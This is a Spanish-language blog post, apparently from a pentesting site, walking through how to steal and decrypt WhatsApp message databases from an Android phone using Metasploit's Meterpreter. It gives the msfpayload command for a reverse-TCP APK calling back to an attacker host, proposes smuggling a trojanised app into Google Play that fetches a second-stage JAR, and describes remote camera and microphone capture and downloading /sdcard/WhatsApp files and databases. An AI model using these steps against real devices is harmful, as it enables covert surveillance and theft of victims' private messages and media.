martes, 22 de abril de 2014

Robar WhatsApp de Android con Meterpreter de Metasploit

Facebook ha comprado WhatsApp y con ello todo lo bueno y malo que tiene esta aplicación. Lo bueno es algo sencillo de entender y es que tener más de 500 millones de usuarios es algo importante para la firma, pero también se lleva todos los problemas de seguridad que desde hace años van arrastrando a golpe de parche, aunque siguen apareciendo nuevos fallos en el cifrado y fugas de información que dejan ver tú número de teléfono, la ubicación donde estás o la dirección IP desde la que estás conectado. Además, hace algunas semanas se ha golpeado con mucha fuerza la aplicación de mensajería instantánea.

Sabemos que existen muchos métodos para espiar WhatsApp, aunque semanas atrás salió a la luz el método con el que WhatsApp para Android cifra y descifra las bases de datos de la aplicación. Conseguir estas bases de datos en Android es sencillo, ya que se almacenan en la SDCard del dispositivo, pero también pueden sacarse de un dispositivo iPhone si se tiene acceso local o al backup, aunque el proceso podría complicarse un poco, en función de si hay jailbreak o no, si hay SSH por defecto, y del tipo de dispositivo que sea y la versión del sistema iOS. Siempre podríamos intentar encontrar una vía realizando un hacking a dispositivos iPhone completo.

Alejandro Ramos (@aramosf) liberó un script en Python dónde teniendo la base de datos cifrada y el usuario de Gmail utilizado en el dispositivo Android se puede obtener las conversaciones descifradas y listas para su lectura. Además, el servicio Recover Messages ya dispone de esta funcionalidad para la recuperación de mensajes recuperados de una base de datos cifrada. 



¿Cómo funciona el cifrado y el descifrado? El algoritmo para cifrar es aes-cbc-192, la información de la base de datos es cifrada utilizando una clave y el nombre de la cuenta de correo electrónico del dispositivo. El modo cbc, cipher block chaining, aplica a cada bloque de texto plano un XOR con el bloque anteriormente cifrado, para su posterior cifrado. De este modo cada bloque de texto cifrado va a depender de todo lo que está en plano procesado hasta el momento. El vector de inicialización hace que cada mensaje sea único.

PoC: El llamado Wonderland 

En algunos ámbitos Meterpreter, una famosa shellc ode utilizada por muchos pentesters en el maravilloso framework de explotación Metasploit, es conocido como Wonderland, ya que proporciona al usuario todas las características en la toma de control de un dispositivo remoto, y lo que haremos será jugar con él y ver qué cosas, entre otras muchas, podemos hacer. Algunas de las cosas interesantes que podemos hacer con esta Shell code en un dispositivo móvil es robar la base de datos de WhatsApp, y después descifrarla.

Lo primero es conseguir ejecutar Meterpreter en un dispositivo Android. Esto puede ser tarea no sencilla, pero con un poco de imaginación se nos pueden ocurrir muchas vías. ¿Por qué no entrar por la puerta principal? Sí, podemos intentar entrar por Google Play, ¿En serio?

En esta vida todo es probar, y como ya ha explicado Sergio de los Santos hay un ecosistema de Malware y Fake Apps en Google Play lo suficientemente grande como para que se note mucho que hemos metido un Meterpreter. Además, hemos visto que hay peleas por hacer fakes app de WhatsApp, que hay quién se ha dado de alta como Apple Inc, los que se dedican a hacer estafas de SMS Premium como la de la Linterna Molona y cibercriminales que roban el WhatsApp directamente con supuestos juegos. ¡Manos a la obra!



La primera vía sería utilizar la herramienta msf payload para generar un APK instalable en los dispositivos Android, pero este APK no podrá ser subido a Google Play por diversos motivos, entre ellos que no está firmado por el desarrollador. Para la toma de contacto es totalmente válido, por lo que os dejo aquí como hacer un APKpara Android que ejecute una Meterpreter inversa:

msfpayload android/meterpreter/reverse_tcp LHOST=[dirección IP a la que se conecta la shellcode] 
LPORT=[puerto a la que se conecta] R > nombre_fichero.apk


La otra vía sería desarrollar una APK que pida órdenes, por ejemplo, mediante un XML y que al recibir una instrucción maliciosa en ese XML se conecte a un servidor dónde le esperaremos para otorgarle un JAR, dónde empaquetado se encuentre la shellcode de Meterpreter. Este JAR se puede ejecutar dentro del provider de la app que la víctima descarga del Google Play. ¿En serio? Sigamos adelante…

Ahora una vez que tenemos de alguna de las dos formas preparadas la APK maliciosa, preparamos el servidor que recibirá la conexión y que debe devolver el JAR con la shellcode. Para ello utilizamos la herramienta del framework de Metasploit denominada msf console, tal y como se puede ver en la imagen. 


Tras ejecutar la instrucción exploit en este módulo el servicio queda habilitado por lo que al recibir una conexión externa le devolveremos el JAR que completará la segunda stage de la ejecución de la shell Meterpreter.

En la siguiente imagen podéis visualizar como el servicio queda a la espera, y cuando recibe la conexión se envía el fichero y después se toma el control del dispositivo móvil. Recordad que lo interesante es que la APK sea distribuida a través de un market, y si es oficial el desastre sería mayor. 


Ahora podemos realizar diversas acciones con esta shellcode Meterpreter dentro del dispositivo. Sin ser root se puede, siempre y cuando la APK que ha conseguido colar la shellcode tenga permisos para ello, realizar fotografías y obtenerlas en remoto, capturar sonido con el micrófono, incluso abrir un streaming entre el dispositivo y el atacante para ver en tiempo, casi, real lo que está sucediendo.

Si abrimos una shell del sistema y navegamos por la estructura de carpetas, solo accederemos a sitios dónde la app pueda, ya que no somos root. La SDCard es uno de los puntos donde podemos aprovecharnos de no ser root y encontrar información muy interesante. 


Al ejecutar un ls podemos encontrar la carpeta de WhatsApp y todo lo que hay dentro de la SDCard, es como un pequeño gran bazar chino dónde podemos coger lo que queramos a un coste cero. Al meternos dentro de la carpeta de WhatsApp, ahora mismo estamos en la ruta /sdcard/WhatsApp podemos encontrar los siguientes elementos: backups, databases, media y profile pictures.

Todas las imágenes, vídeos y audios que la víctima haya intercambiado, enviados por él o recibidos, están accesibles y sin cifrar, por lo que ya nuestra shellcodepodría descargarlo a nuestro equipo. 


En la imagen se ve /storage/sdcard0/… por el tema de los enlaces, pero en este ejemplo nos da igual referirnos como /sdcard. Dicho esto, ¿Cómo descargamos una imagen directamente? Meterpreter proporciona un comando para realizar descargas de archivos, este comando es download, y su sintaxis es download [origen] [destino].

En la siguiente imagen se puede visualizar un ejemplo de cómo llevar a cabo esta instrucción y poder obtener todas las imágenes, vídeos y audios que se encuentran en la SDCard.


Para llevar a cabo la operativa con las bases de datos con los mensajes deWhatsApp es exactamente igual, solo que la instrucción en este caso seríadownload /sdcard/WhatsApp/Databases/[nombre base de datos][destino máquina local]. 


Ahora nos queda, una vez que hemos descargado la base de datos, utilizar el scriptque comentábamos al principio para descifrar la base de datos crypt5. El script lo debemos ejecutar como viene en la imagen, y solo necesitamos la cuenta de correo que está dada de alta en el dispositivo.


Ahora que tenemos la base de datos descifrada podemos utilizar aplicaciones que abran formatos SQLite3, por ejemplo el add-on de Mozilla Firefox denominado SQLite Manager si queremos hacerlo rápido. La segunda columna nos da el teléfono con el que se interactúo en el mensaje, y en la columna de data va el mensaje que se envió. Hay más columnas interesantes, ya que no todo son mensajes de texto, en otras se especifican si se envió datos como imágenes, y el recurso en el que se encuentra, audios, vídeos, etcétera.


Además, una vez que tienes los mensajes, el siguiente paso sería recuperar los mensajes que hayan sido eliminados del WhatsApp. Hay que tener en cuenta que no solo se recuperarán los mensajes de texto sino que también podrán recuperarse las miniaturas de las imágenes transmitidas, incluidas las de los vídeos y los mensajes de geo-localización, tal y como se explica en el artículo de Recuperar mensajes de WhatsApp borrados.

Autor: Pablo González
Twitter: @PabloGonzalezPe

1 comentario:

Related Posts Plugin for WordPress, Blogger...

Entrada destacada

El server me sabe a poco.

Soy un fanático del Rock y de Debian . (Creo que voy a inventar Rockbian, que suena bien y todo xD) Llevaba tiempo queriendo unir estos 2 c...